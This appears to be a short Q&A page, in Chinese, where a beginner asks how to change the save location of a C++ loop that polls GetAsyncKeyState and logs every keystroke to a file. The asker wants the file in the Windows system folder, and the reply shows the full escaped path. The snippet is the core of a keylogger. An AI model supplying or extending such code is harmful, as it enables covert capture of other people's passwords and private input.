Find centralized, trusted content and collaborate around the technologies you use most.
Teams
Q&A for work
Connect and share knowledge within a single location that is structured and easy to search.
我在 C++ 上编程。我最近才开始,我有这段代码将 LOG.TXT 保存到同一目录中。但是我如何将它保存到某个地方,例如。c:\Windows\log.txt?
while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save(i,"LOG.TXT"); } }
呃,尝试在参数中指定整个路径Save?例如Save(i,"c:\\Windows\\log.txt");?您需要双反斜杠,因为反斜杠是转义字符。
Save
Save(i,"c:\\Windows\\log.txt");